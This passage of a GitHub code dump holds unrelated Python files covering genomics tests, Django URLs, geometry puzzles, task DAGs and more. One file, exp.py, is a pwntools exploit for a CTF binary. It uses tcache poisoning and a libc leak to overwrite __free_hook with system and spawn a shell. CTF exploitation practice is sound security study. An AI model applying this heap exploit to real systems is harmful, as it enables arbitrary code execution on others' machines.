15, 48752443, 48752514, '-',\n 'FBN1', 'ENSG00000166147')\n exon.position = 48752450\n exon.number = '43/66'\n exon.exon = True\n full_exon = FullExon('ENSE00003605533', 15, 48752443, 48752514, '-',\n 'FBN1', 'ENSG00000166147', 48752450, '43/66', True)\n self.assertEqual(full_exon.__dict__, exon.__dict__)\n\n\nclass TestPyensemblWrappers(unittest.TestCase):\n def test_get_canonical_transcript(self):\n correct = DATA.transcript_by_id('ENST00000458208')\n canon = pyensembl_wrappers.get_canonical_transcript(DATA, 10, 90751147)\n self.assertEqual(canon, correct)\n\n def test_get_gene_locus(self):\n correct = DATA.gene_by_id('ENSG00000026103')\n gene = pyensembl_wrappers.get_gene_locus(DATA, 10, 90752100)\n self.assertEqual(gene, correct)\n\n def test_get_exon(self):\n transcript = DATA.transcript_by_id('ENST00000316623')\n exon = pyensembl_wrappers.get_exon(48752450, transcript)\n correct = FullExon('ENSE00003605533', 15, 48752443, 48752514, '-',\n 'FBN1', 'ENSG00000166147', 48752450, '43/66', True)\n self.assertEqual(exon.__dict__, correct.__dict__)\n\n def test_get_intron_positive(self):\n ''' Expects a FullExon object of an Intron on positive strand '''\n transcript = DATA.transcript_by_id('ENST00000487314')\n intron = pyensembl_wrappers.get_exon(90752100, transcript)\n correct = FullExon('N/A', 10, 90751384, 90762785, '+', 'FAS', \n 'ENSG00000026103', 90752100, '1/7', False) \n self.assertEqual(intron.__dict__, correct.__dict__)\n \n def test_get_intron_negative(self):\n ''' Expects a FullExon object of an Intron on negative strand '''\n transcript = DATA.transcript_by_id('ENST00000316623')\n intron = pyensembl_wrappers.get_exon(48778271, transcript)\n correct = FullExon('N/A', 15, 48777694, 48779271, '-', 'FBN1',\n 'ENSG00000166147', 48778271, '29/65', False)\n self.assertEqual(intron.__dict__, correct.__dict__)\n\n\nclass TestCommon(unittest.TestCase):\n def test_correct_hg19_version(self):\n hg_version = common.correct_hg_version('GrCh37')\n self.assertEqual(hg_version, 'hg19')\n \n def test_correct_hg38_version(self):\n hg_version = common.correct_hg_version('GrCh38')\n self.assertEqual(hg_version, 'hg38')\n \n def test_get_ensembl_release_hg19(self):\n ensembl_release = common.get_ensembl_release('hg19')\n self.assertEqual(ensembl_release, 75)\n\n def test_get_ensembl_release_hg38(self):\n ensembl_release = common.get_ensembl_release('hg38')\n self.assertEqual(ensembl_release, 83)\n\n\nclass TestMetaData(unittest.TestCase):\n correct = {'genome': None, \n 'ensembl': DATA, \n 'flank': 50, \n 'sequence': 'atagtgaatgggacagacacaatctttgacttc'\n 'aaaatgattacactgtg\\nGccaggagacagat'\n 'gaacaattaattgcaccatgcatgatgtgccat'\n 'ttg\\nc', \n '_transcript': None, \n 'gene': Gene(gene_id='ENSG00000166147', gene_name='FBN1', biotype='protein_coding', \n contig='15', start=48700503, end=48938046, strand='-', genome=DATA), \n 'position': 48778271, \n 'contig': 15, \n 'gene_list': [],\n 'seq': True,\n 'hg_version': 'hg19'}\n metadata = LocusMetaData(15, 48778271, 'hg19') \n\n def test_metadata(self):\n self.assertEqual(self.metadata.__dict__, self.correct)\n\n def test_metadata_exon(self):\n intron = FullExon(exon_id='N/A', gene_name='FBN1', contig=15, start=48777694, end=48779271, \n position=48778271, number='29/65', strand='-', gene_id='ENSG00000166147',\n exon=False)\n self.assertEqual(self.metadata.exon, intron)\n\n def test_metadata_transcript(self):\n transcript = Transcript(transcript_id='ENST00000316623', transcript_name='FBN1-001', strand='-', \n biotype='protein_coding', contig=15, start=48700503, end=48938046,\n genome=DATA, gene_id='ENSG00000166147')\n self.assertEqual(self.metadata.transcript, transcript)\n\n\nclass TestMetaData2(unittest.TestCase):\n ''' Tests metadata object if position overlaps two genes and the \n automatically select gene is as expected.\n '''\n correct = {'genome': None, \n 'ensembl': DATA, \n 'flank': 50, \n 'sequence': 'actaaaagtagttcctggttggtgaaaataaatcattaatgcgttttaaa\\n'\n 'Tgaaaaagaaatgcatgcgtcttgtaaaaaatgtgaaataaaagaggcat\\na',\n '_transcript': None, \n 'gene': Gene(gene_id='ENSG00000267699', gene_name='RP11-729L2.2',\n biotype='protein_coding', contig='18', start=48494389,\n end=48584514, strand='+', genome=DATA),\n 'position': 48555816, \n 'contig': 18, \n 'gene_list': [],\n 'seq': True,\n 'hg_version': 'hg19'}\n metadata = LocusMetaData(18, 48555816, 'hg19') \n\n def test_metadata(self):\n self.assertEqual(self.metadata.__dict__, self.correct)\n\n def test_metadata_exon(self):\n intron = FullExon(exon_id='N/A', gene_name='RP11-729L2.2', \n contig=18, start=48500932, end=48573289, \n position=48555816, number='2/8', strand='+', \n gene_id='ENSG00000267699',\n exon=False)\n self.assertEqual(self.metadata.exon, intron)\n\n def test_metadata_transcript(self):\n transcript = Transcript(transcript_id='ENST00000590722', \n transcript_name='RP11-729L2.2-001', strand='+', \n biotype='nonsense_mediated_decay', contig=18, start=48494389, end=48584514,\n genome=DATA, gene_id='ENSG00000267699')\n self.assertEqual(self.metadata.transcript, transcript)\n\n\nclass TestMetaData3(unittest.TestCase):\n ''' Tests metadata object if position overlaps two genes and one uses\n gene_list to select one explicitly\n '''\n correct = {'genome': None, \n 'ensembl': DATA, \n 'flank': 50, \n 'sequence': 'actaaaagtagttcctggttggtgaaaataaatcattaatgcgttttaaa\\n'\n 'Tgaaaaagaaatgcatgcgtcttgtaaaaaatgtgaaataaaagaggcat\\na',\n '_transcript': None, \n 'gene': Gene(gene_id='ENSG00000141646', gene_name='SMAD4',\n biotype='protein_coding', contig='18', start=48494410,\n end=48611415, strand='+', genome=DATA),\n 'position': 48555816, \n 'contig': 18, \n 'gene_list': ['SMAD4'],\n 'seq': True,\n 'hg_version': 'hg19'}\n metadata = LocusMetaData(18, 48555816, 'hg19', gene_list=['SMAD4']) \n\n def test_metadata(self):\n self.assertEqual(self.metadata.__dict__, self.correct)\n\n def test_metadata_exon(self):\n intron = FullExon(exon_id='N/A', gene_name='SMAD4', \n contig=18, start=48500932, end=48573289, \n position=48555816, number='2/8', strand='+', \n gene_id='ENSG00000141646',\n exon=False)\n self.assertEqual(self.metadata.exon, intron)\n\n def test_metadata_transcript(self):\n transcript = Transcript(transcript_id='ENST00000452201', \n transcript_name='SMAD4-202', strand='+', \n biotype='protein_coding', contig=18, start=48494410,\n end=48584514,\n genome=DATA, gene_id='ENSG00000141646')\n self.assertEqual(self.metadata.transcript, transcript)\n\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"superDross/GeneaPy","sub_path":"test/test_modules.py","file_name":"test_modules.py","file_ext":"py","file_size_in_byte":8621,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"15158110242","text":"import requests\nimport json\n\nTYPE_TO_ID_MAPPING = {\n \"Gene\": \"NCBIGene\",\n \"ChemicalSubstance\": \"CHEBI\",\n \"AnatomicalEntity\": \"UBERON\",\n \"BiologicalProcess\": \"GO\",\n \"MolecularActivity\": \"GO\",\n \"Cell\": \"CL\",\n \"SequenceVariant\": \"SO\",\n \"Disease\": \"MONDO\",\n \"PhenotypicFeature\": \"HP\",\n}\n\n\nclass NGDFilter:\n def __init__(self, query_result, criteria):\n self.query_result = query_result\n self.criteria = criteria\n\n def extract_input_id(self, resolved_ids, semantic_type):\n if not resolved_ids:\n return None\n if semantic_type not in TYPE_TO_ID_MAPPING:\n return None\n if 'db_ids' not in resolved_ids:\n return None\n prefix = TYPE_TO_ID_MAPPING[semantic_type]\n if prefix not in resolved_ids['db_ids']:\n return None\n return resolved_ids['db_ids'][prefix][0]\n\n def query_ngd(self, inputs):\n result = []\n for i in range(0, len(inputs), 1000):\n query = {\n \"q\": [item.split('-') for item in inputs[i: i + 1000]],\n \"scopes\": [[\"subject.id\", \"object.id\"], [\"object.id\", \"subject.id\"]],\n \"fields\": \"association.ngd\",\n \"dotfield\": True\n }\n tmp = requests.post('https://biothings.ncats.io/text_mining_co_occurrence_kp/query',\n data=json.dumps(query),\n headers={\n 'Content-Type': 'application/json'\n })\n data = tmp.json()\n result = [*result, *data]\n return result\n\n def parse_response(self, res):\n result = {}\n for rec in res:\n if 'association.ngd' in rec:\n result['-'.join(rec['query'])] = rec['association.ngd']\n return result\n\n def annotate_ngd(self):\n ngd_inputs = set()\n id_dict = {}\n if isinstance(self.query_result, list) and len(self.query_result) > 0:\n for i, rec in enumerate(self.query_result):\n if '$association' in rec:\n input_type = rec['$association']['input_type']\n output_type = rec['$association']['output_type']\n input_resolved_ids = rec['$input_resolved_identifiers'][rec['$original_input'][rec['$input']]]\n if 'resolved' not in rec['$output_id_mapping']:\n return\n output_resolved_ids = rec['$output_id_mapping']['resolved']\n input_id = self.extract_input_id(input_resolved_ids, input_type)\n output_id = self.extract_input_id(output_resolved_ids, output_type)\n if input_id and output_id:\n s_id = str(input_id)\n o_id = str(output_id)\n if input_id == 'Gene':\n s_id = 'NCBIGene:' + s_id\n if output_type == 'Gene':\n o_id = 'NCBIGene:' + o_id\n ngd_inputs.add(s_id + '-' + o_id)\n id_dict[i] = s_id + '-' + o_id\n ngd_results = self.query_ngd(list(ngd_inputs))\n parsed_ngd_results = self.parse_response(ngd_results)\n for i, rec in enumerate(self.query_result):\n if i in id_dict:\n rec['$ngd'] = parsed_ngd_results[id_dict[i]]\n","repo_name":"newgene/bte-py","sub_path":"biothings_explorer/trapi/biothings/controllers/annotate.py","file_name":"annotate.py","file_ext":"py","file_size_in_byte":3442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"1987980528","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"This file converts exported APIs to this API.\"\"\"\n\nimport os\nimport zipfile\nimport shutil\n\nROOT_DIR_PATH = './raw_apis/'\n\n\ndef main():\n for fname in os.listdir(ROOT_DIR_PATH):\n fname = ROOT_DIR_PATH + fname\n if not fname.endswith('.zip'):\n continue\n\n dname = fname[:-4]\n with zipfile.ZipFile(fname, 'r') as fin:\n fin.extractall(dname)\n\n\n\n shutil.rmtree(dname)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"zswaff/intent_parser","sub_path":"test_data/convert_apis.py","file_name":"convert_apis.py","file_ext":"py","file_size_in_byte":509,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"27007476849","text":"from django.conf.urls import patterns, url\nfrom activities.views import ORDER_KEYS\n\n\nSORT_DEFAULTS = {\n 'date': True,\n 'title': False,\n 'sport': False,\n 'distance': True,\n 'elevation': True,\n 'time': True,\n 'speed': True,\n 'hr': False,\n 'temperature': False,\n 'rpe': False\n}\n\n\nurlpatterns = patterns('activities.views', # noqa\n url(r'^overview$', 'overview', name='overview'),\n url(r'^$', 'view_all', name='view-all'),\n url(r'^status=(?P\\w+)$', 'view_all', name='view-all-status'),\n url(r'^sorted=(?P-?)(?P{}),(?P\\d+)$'.format('|'.join(ORDER_KEYS.keys())), 'view_all',\n name='view-all-sorted'),\n url(r'^summary$', 'summary', name='summary'),\n\n url(r'^upload/manual$', 'manual_entry', name='manual-entry'),\n url(r'^upload$', 'upload', name='upload'),\n url(r'^delete/(?P\\d+)$', 'delete', name='delete'),\n url(r'^edit/(?P\\d+)$', 'edit', name='edit'),\n\n url(r'^view/(?P\\d+)$', 'view', name='view'),\n url(r'^charts/(?P\\d+)$', 'charts', name='charts'),\n url(r'^zones/(?P\\d+)$', 'zones', name='zones'),\n url(r'^splits/(?P\\d+)$', 'splits', name='splits'),\n url(r'^map/(?P\\d+)$', 'map_', name='map'),\n\n url(r'^api/ochart/(?P\\d+)$', 'ochart', name='ochart'),\n url(r'^api/map/(?P\\d+)$', 'map_data', name='map-data'),\n url(r'^api/chart/(?P\\d+)/(?P\\w+)$', 'chart_data', name='chart-data'),\n url(r'^api/zones/(?P\\d+)/(?P\\w+)$', 'zones_data', name='zones-data'),\n url(r'^api/track/(?P\\d+)$', 'track', name='track'),\n url(r'^api/summary/(?Pweek|month|year)$', 'period_summary', name='period-summary'),\n url(r'^api/wchart$', 'week_chart', name='week-chart'),\n)\n","repo_name":"akolar/training","sub_path":"wsgi/training/activities/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1764,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"74158813848","text":"from math import floor\n\n# źródło: http://www.algorytm.org/przetwarzanie-dat/wyznaczanie-daty-wielkanocy-metoda-meeusa-jonesa-butchera.html\ndef data_Wielkanocy(year):\n '''Zwraca datę wielkanocy dla żądanego roku\n\n :param year: (int) - żądany rok\n :return: dd. miesiąc rrrr. roku (str) - data Wielkanocy\n\n '''\n try:\n year = int(year)\n except:\n raise TypeError\n a = year % 19\n b = floor(year/100)\n c = year % 100\n d = floor(b / 4)\n e = b % 4\n f = floor((b+8)/25)\n g = floor((b - f + 1)/3)\n h = (19 * a + b - d - g + 15) % 30\n i = floor(c/4)\n k = c % 4\n l = (32 + 2 * e + 2 * i - h - k) % 7\n m = floor((a + 11 * h + 22 * l) / 451)\n p = (h + l - 7 * m + 114) % 31\n day = p + 1\n month = floor((h + l - 7*m + 114) / 31)\n months = {\n 3 : \"marca\",\n 4 : \"kwietnia\"\n }\n return str(day) + \". \" + months[month] + \" \" + str(year) + \". roku\"\n\n","repo_name":"maciejratajski1999/listy-na-programowanie","sub_path":"Lista-2/zadanie_1.py","file_name":"zadanie_1.py","file_ext":"py","file_size_in_byte":939,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"6588389018","text":"#!/usr/bin/python\n#coding=utf-8\nfrom pwn import *\n# context.log_level = 'debug'\n# p = remote('124.71.224.30',20944)\nelf = ELF('./lonelywolf')\np = elf.process()\n# libc = ELF('libc-2.27.so')\nlibc = ELF('/lib/x86_64-linux-gnu/libc.so.6')\n\ndef add(idx,size):\n\tp.sendlineafter(\"choice: \",'1')\n\tp.sendlineafter(\"Index: \",str(idx))\n\tp.sendlineafter(\"Size: \",str(size))\n\ndef edit(idx,payload):\n\tp.sendlineafter(\"choice: \",'2')\n\tp.sendlineafter(\"Index: \",str(idx))\n\tp.sendlineafter(\"Content: \",payload)\n\ndef show(idx):\n\tp.sendlineafter(\"choice: \",'3')\n\tp.sendlineafter(\"Index: \",str(idx))\n\ndef delete(idx):\n\tp.sendlineafter(\"choice: \",'4')\n\tp.sendlineafter(\"Index: \",str(idx))\n\nadd(0,0x60)\ndelete(0)\nfor i in range(7):\n\tedit(0,p64(0)*2)\n\tdelete(0)\nadd(0,0x70)\ndelete(0)\nfor i in range(7):\n\tedit(0,p64(0)*2)\n\tdelete(0)\nadd(0,0x50)\np.sendlineafter(\"choice: \",'1'*0x400)\nadd(0,0x40)\nshow(0)\n\np.recvuntil('Content: ')\nlibc_addr = u64(p.recvuntil('\\x7f').ljust(8,'\\x00'))-0x3ebd80\nlibc.address = libc_addr\nfree_hook = libc.sym['__free_hook']\nsystem = libc.symbols['system']\ninfo('libc_addr: ' + hex(libc_addr))\n\nadd(0,0x30)\ndelete(0)\nedit(0,p64(0)*2)\ndelete(0)\nadd(0,0x30)\nedit(0,p64(free_hook))\nadd(0,0x30)\nadd(0,0x30)\nedit(0,p64(system))\nadd(0,0x20)\nedit(0,'/bin/sh\\n')\ndelete(0)\np.interactive()","repo_name":"ld1ng/PWNote","sub_path":"contest/ciscn2-lonelywolf1/exp.py","file_name":"exp.py","file_ext":"py","file_size_in_byte":1283,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"8204355330","text":"import itertools\nfrom contextlib import ExitStack\nfrom typing import Any, Callable, Coroutine\n\nimport dagon.task as mod\nfrom dagon.ext.exec import ExtAwareExecutor\nfrom dagon.tool import main\nfrom dagon.util.testing import async_test\n\nfrom ..core.result import Failure, NodeResult, Success\nfrom .dag import TaskDAG, result_of\n\n# pyright: reportUnusedFunction=false\n\n\ndef test_add() -> None:\n dag = TaskDAG('test')\n\n @mod.define_in(dag)\n async def meow() -> None:\n pass\n\n @mod.define_in(dag, depends=[meow])\n async def inner() -> int:\n return 0\n\n\n@async_test\nasync def test_add_and_run() -> None:\n dag = TaskDAG('test')\n\n @mod.define_in(dag)\n async def string() -> str:\n return 'hello'\n\n @mod.define_in(dag, depends=[string])\n async def print_string() -> None:\n await result_of(string)\n\n @mod.define_in(dag, depends=[string])\n async def print_string2() -> None:\n await result_of(string)\n await result_of(string)\n\n @mod.define_in(dag, depends=[print_string, print_string2])\n async def final_tgt() -> None:\n pass\n\n results = await dag.execute(['print-string'])\n assert set(results.values()) == {\n NodeResult(string, Success('hello')),\n NodeResult(print_string, Success(None)),\n }\n\n results = await dag.execute(['print-string2'])\n assert set(results.values()) == {\n NodeResult(string, Success('hello')),\n NodeResult(print_string2, Success(None)),\n }\n\n results = await dag.execute(['final-tgt'])\n assert set(results.values()) == {\n NodeResult(string, Success('hello')),\n NodeResult(print_string, Success(None)),\n NodeResult(print_string2, Success(None)),\n NodeResult(final_tgt, Success(None)),\n }\n\n\nasync def _run_oo_test(use_oo_deps: bool) -> None:\n value = 0\n\n dag = TaskDAG('test')\n\n @mod.define_in(dag)\n async def _first() -> None:\n nonlocal value\n value = 1\n\n @mod.define_in(dag, order_only_dependss=[_first])\n async def _second() -> None:\n nonlocal value\n if use_oo_deps:\n assert value == 1, 'Value should have been set'\n else:\n assert value == 0, 'Value should not have been set'\n\n if use_oo_deps:\n result = await dag.execute([_first.name, _second.name])\n else:\n result = await dag.execute([_second.name])\n\n if use_oo_deps:\n assert set(result.values()) == {\n NodeResult(_first, Success(None)),\n NodeResult(_second, Success(None)),\n }\n else:\n assert set(result.values()) == {NodeResult(_second, Success(None))}\n\n\n@async_test\nasync def test_order_only() -> None:\n for _, use_oo_deps in itertools.product(range(100), (True, False)):\n # Run this repeatedly to try and force the ordering to fail\n await _run_oo_test(use_oo_deps)\n\n\ndef run_test_on_fun(fn: Callable[[], Coroutine[None, None, None]], **kw: Any) -> None:\n exts = main.get_extensions()\n dag = TaskDAG('Test')\n with ExitStack() as st:\n st.enter_context(exts.app_context())\n t = mod.create_task_from_function(fn, **kw)\n dag.add_task(t)\n graph = dag.low_level_graph([t.name])\n results = ExtAwareExecutor(exts, graph, catch_signals=False, fail_cancels=True).run_all_until_complete()\n for f in results.values():\n if isinstance(f.result, Failure):\n f.result.reraise()\n assert isinstance(f.result, Success)\n","repo_name":"vector-of-bool/dagon","sub_path":"dagon/task/task_test.py","file_name":"task_test.py","file_ext":"py","file_size_in_byte":3482,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"31"} +{"seq_id":"7101167672","text":"'''\nhttps://leetcode.com/problems/permutations-ii/\n47. Permutations II\nGiven a collection of numbers, nums, that might contain duplicates, return all possible unique permutations in any order.\n\nExample 1:\n\nInput: nums = [1,1,2]\nOutput:\n[[1,1,2],\n [1,2,1],\n [2,1,1]]\nExample 2:\n\nInput: nums = [1,2,3]\nOutput: [[1,2,3],[1,3,2],[2,1,3],[2,3,1],[3,1,2],[3,2,1]]\n \n\nConstraints:\n\n1 <= nums.length <= 8\n-10 <= nums[i] <= 10\n'''\n\n\n# Run time complexity: O(n* n!), worst case\n# Space complexity: O(n!)\ndef permute(nums):\n def backtrack(slot):\n if slot == len(nums):\n perms.append(nums[:])\n return\n\n for option in options:\n if options[option] < 1:\n continue\n\n nums[slot] = option\n options[option] -= 1\n backtrack(slot + 1)\n options[option] += 1\n\n options = {}\n for num in nums:\n options[num] = options.get(num, 0)+1\n\n perms = []\n nums.sort()\n backtrack(0)\n return perms\n\n\nif __name__ == \"__main__\":\n print(permute([1, 1, 2, 2]))\n","repo_name":"contactshadab/data-structure-algo-python","sub_path":"programs/leetcode/47_permutations_ii.py","file_name":"47_permutations_ii.py","file_ext":"py","file_size_in_byte":1057,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"21989063954","text":"'''Useful for simulation problems and combinatorics'''\nfrom itertools import permutations, combinations, product\n\n'''Read input with generator instead of input(), much faster'''\nimport sys\nitr = (line for line in sys.stdin.read().split('\\n')) # buffer\ninp = lambda: next(itr) # next iter\ndef ni(): return int(inp())\ndef nl_2(): return list(inp())\ndef nl(): return [int(tok) for tok in inp().split()]\ndef nf(): return [float(tok) for tok in inp().split()]\n\nsys.setrecursionlimit(1000000) # default is 1000.\n\nclass Point:\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n \n\n def __add__(self, o): \n self.x = self.x + o.x\n self.y = self.y + o.y\n return Point(self.x, self.y)\n\n def __sub__(self, o):\n self.x = self.x - o.x\n self.y = self.y - o.y\n return Point(self.x, self.y)\n\n def __mul__(self, factor):\n self.x = self.x * factor \n self.y = self.y * factor\n return Point(self.x, self.y)\n\n def __div__(self, o):\n self.x = self.x / o.x\n self.y = self.y / o.y\n return Point(self.x, self.y)\n\n def to_tuple(self):\n return (self.x, self.y) \n\ndef calc_poly_area(points):\n area = 0\n for i in range(len(points)):\n x1, y1 = points[i-1]\n x2, y2 = points[i] \n area += x1*y2 - x2*y1\n return abs(area/2.0)\n\nfrom math import cos, sin, radians\n\ndef rotate_rectangle(rectangle, degree):\n out = []\n for x, y in rectangle:\n x1 = x * cos(radians(v)) - y * sin(v)\n y1 = x * sin(radians(v)) - y * cos(v)\n out.append((x1, y1))\n return out \n\n\ndef cprod(p1, p2, p3):\n return (p2[0] - p1[0])*(p3[1] - p1[1]) - (p2[1] - p1[1])*(p3[0] - p1[0]) <= 0\n\ndef hull(pts):\n n = len(pts)\n pts.sort()\n U = [pts[0], pts[1]]\n L = [pts[-1], pts[-2]]\n for i in range(n-2, -1, -1):\n while len(L) > 1 and cprod(L[-2], L[-1], pts[i]):\n L.pop()\n L.append(pts[i])\n\n for j in range(2, n):\n while len(U) > 1 and cprod(U[-2], U[-1], pts[j]):\n U.pop()\n U.append(pts[j])\n\n U.pop()\n L.pop()\n hull = U + L\n if hull[0] == hull[-1]:\n hull.pop()\n return hull\n\n#print(calc_poly_area([(0,0), (1,0), (1,1), (0,1)]))\n\n# formula zi = zc +- u +- p\n# u = (a*cos(v),a*sin(v))\n# p = (b*cos(v),-b*sin(v))\n# a := w/2\n# b := h/2\nfrom math import pi\nt = ni()\nfor _ in range(t):\n n = ni()\n board_area = 0\n points = []\n for _ in range(n):\n x, y, w, h, v = nf() \n v = v/180.0*pi\n board_area += w*h\n h1, w1, p1 = Point(sin(v), cos(v)), \\\n Point(-cos(v), sin(v)), \\\n Point(x, y)\n h1 = h1*(h/2.0)\n w1 = w1*(w/2.0)\n\n points.append((p1 + h1 + w1).to_tuple())\n points.append((p1 + h1 - w1).to_tuple())\n points.append((p1 - h1 + w1).to_tuple())\n points.append((p1 - h1 - w1).to_tuple()) \n \n pts = hull(points)\n tot_area = calc_poly_area(pts)\n print(tot_area)\n print(board_area)\n res = (board_area / tot_area)*100\n print(f'{res:.1f} %') \n\n ","repo_name":"fr3632ho/kattis","sub_path":"board-wrapping/a.py","file_name":"a.py","file_ext":"py","file_size_in_byte":3150,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"26154354194","text":"import threading\nfrom zmqfan import zmqsub\nimport time, pprint\n\n\nSCANTIME_BUFFER = 100\nTARGET_LATENCY = 10.0 # how \"behind\" any given result will be\nSYNC_TARGET = 30.0 # the amount of time a client can reasonably expect to achieve a full picture in\n\n# TODO use the scantimes, scantime_buffer options\n\nclass NetworkStatus(object) :\n\tdef __init__(self, p, jzp, scantime_buffer=SCANTIME_BUFFER, target_latency=TARGET_LATENCY, sync_target=SYNC_TARGET) :\n\t\t\"\"\"\n\t\t@param p a probe object that will emit results upon calling .scan\n\t\t@param jzp a json zmq publisher from zmqfan\n\t\t\"\"\"\n\t\t# object relationships\t\t\n\t\tself.p = p\n\t\tself.jzp = jzp\n\n\t\t# settings\n\t\tself.target_latency = target_latency\n\t\tself.scantime_buffer = scantime_buffer\n\t\tself.sync_target = sync_target\n\n\t\t# state\n\t\tself.serial = None\n\t\tself.previous_serial = None\n\t\tself.scantimes = []\n\t\tself.net = set()\n\t\t\n\t\t# loop state\n\t\tself.seq = 0\n\t\tself.ok = True\n\t\tself.transmitted_snapshot = False\n\n\t# derived setting\n\t@property\n\tdef snapshot_period(self) :\n\t\treturn int(self.sync_target / self.target_latency)\n\n\tdef seqmode(self) :\n\t\t\"\"\"\n\t\tReturns true if this sequence run, an entire network snapshot should be sent out.\n\t\t\"\"\"\n\t\tself.seq += 1\n\t\tif self.seq >= self.snapshot_period :\n\t\t\tself.seq = 0\n\t\t\treturn True\n\t\telse :\n\t\t\treturn False\n\n\tdef genserial(self, tsf=None) :\n\t\tif tsf is None :\n\t\t\ttsf = time.time()\n\n\t\treturn long(tsf * 1000)\n\n\tdef step(self, verbose=False) :\n\t\tseq_mode = self.seqmode()\n\n\t\tadded = set()\n\t\tpresent = set()\n\t\tfor tup in self.p.scan() :\n\t\t\tif tup in self.net :\n\t\t\t\t# nodes still here..\n\t\t\t\tpresent.add(tup)\n\t\t\telse :\n\t\t\t\t# an addition!\n\t\t\t\tadded.add(tup)\n\t\tremoved = self.net.difference(present)\n\n\t\tdef create_message_part(msg_type, nodes=None) :\n\t\t\tobj = {\n\t\t\t\t'type' : msg_type,\n\t\t\t}\n\t\t\tif nodes is not None :\n\t\t\t\tnl = list(nodes)\n\t\t\t\tnl.sort()\n\t\t\t\tobj['nodes'] = nl\n\t\t\treturn obj\n\n\t\tdef send_message(message_parts_list) :\n\t\t\tmessage_object = {\n\t\t\t\t'serial' : self.serial,\n\t\t\t\t'parts' : message_parts_list\n\t\t\t}\n\t\t\tif self.previous_serial is not None :\n\t\t\t\tmessage_object['prev_serial'] = self.previous_serial\n\t\t\t\n\t\t\tif verbose :\n\t\t\t\tpprint.pprint(message_object)\n\t\t\tif self.jzp :\n\t\t\t\tself.jzp.send(message_object)\n\n\t\tself.previous_serial = self.serial\n\t\tself.serial = self.genserial()\n\n\t\tmessage_parts = list()\n\n\t\tif removed :\n\t\t\t# until a snapshot has been transmitted, removes are not usable; there is nothing to remove from\n\t\t\tif self.transmitted_snapshot :\n\t\t\t\tmessage_parts.append(create_message_part('remove', removed))\n\t\t\tself.net = present\n\t\tif added :\n\t\t\t# until a snapshot has been transmitted, add is not usable, and we also don't know that its presence is fresh\n\t\t\tif self.transmitted_snapshot :\n\t\t\t\tmessage_parts.append(create_message_part('add', added))\n\t\t\tself.net = self.net.union(added)\n\n\t\tif seq_mode :\n\t\t\tmessage_parts.append(create_message_part('snapshot', self.net))\n\t\t\tself.transmitted_snapshot = True\n\n\t\tif not message_parts :\n\t\t\tmessage_parts.append(create_message_part('no-op'))\n\n\t\tsend_message(message_parts)\n\n\tdef loop(self, verbose=False) :\n\t\twhile self.ok :\n\t\t\tts = time.time()\n\t\t\tself.step(verbose=verbose)\n\t\t\trem = self.target_latency - max(0, time.time() - ts)\n\t\t\tif rem > 0.0 :\n\t\t\t\ttime.sleep(rem)\n\n\nclass ConsumerThread(threading.Thread) :\n\tdef __init__(self, s, nv) :\n\t\tself.s = s\n\t\tself.nv = nv\n\t\tself.ok = True\n\t\tthreading.Thread.__init__(self)\n\n\tdef run(self) :\n\t\twhile self.ok :\n\t\t\ttry :\n\t\t\t\tmsg = self.s.recv(timeout=1.0)\n\t\t\t\tself.nv.handle_message(msg)\n\t\t\texcept zmqsub.NoMessagesException :\n\t\t\t\tpass\n\n\tdef stop(self) :\n\t\tself.ok = False\n","repo_name":"eastein/pamela_probe","sub_path":"transmission.py","file_name":"transmission.py","file_ext":"py","file_size_in_byte":3563,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"12652445181","text":"\n\nimport os.path\nimport logging\nimport rpyc\nimport settings\n\n\nPHASH_DISTANCE_THRESHOLD = 4\n\n\nclass ArchChecker(object):\n\n\tdef __init__(self, archPath, phashDistance=PHASH_DISTANCE_THRESHOLD, pathPositiveFilter=None, negativeKeywords=None, lock=True):\n\t\tself.log = logging.getLogger(\"Main.Deduper\")\n\n\t\tself.remote = rpyc.connect(settings.DEDUP_SERVER_IP, 12345, config={'sync_request_timeout':60*15})\n\n\t\t# pathPositiveFilter filters\n\t\t# Basically, if you pass a list of valid path prefixes, any matches not\n\t\t# on any of those path prefixes are not matched.\n\t\t# Default is [''], which matches every path, because \"anything\".startswith('') is true\n\t\tself.maskedPaths = pathPositiveFilter\n\t\tself.negativeKeywords = negativeKeywords\n\t\tself.pdist = phashDistance\n\t\tself.log.info(\"ArchChecker Instantiated\")\n\n\t\tself.lock = lock\n\n\t\tself.arch = archPath\n\n\tdef process(self, moveToPath=None):\n\t\tself.log.info(\"Processing download '%s'\", self.arch)\n\t\tstatus, bestMatch, intersections = self.remote.root.processDownload(self.arch, pathPositiveFilter=self.maskedPaths, negativeKeywords=self.negativeKeywords, distance=self.pdist, moveToPath=moveToPath)\n\t\tself.log.info(\"Processed archive. Return status '%s'\", status)\n\t\tif bestMatch:\n\t\t\tself.log.info(\"Matching archive '%s'\", bestMatch)\n\t\treturn status, bestMatch, intersections\n","repo_name":"herp-a-derp/MangaCMS","sub_path":"deduplicator/archChecker.py","file_name":"archChecker.py","file_ext":"py","file_size_in_byte":1318,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"31"} +{"seq_id":"36172513978","text":"\"\"\"\nPlot the bispectrum.\n\n\"\"\"\n__date__ = \"February 2023\"\n\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom scipy.ndimage import gaussian_filter\n\nimport lpne\n\n\ndef plot_bispec(\n bispec, freq=None, 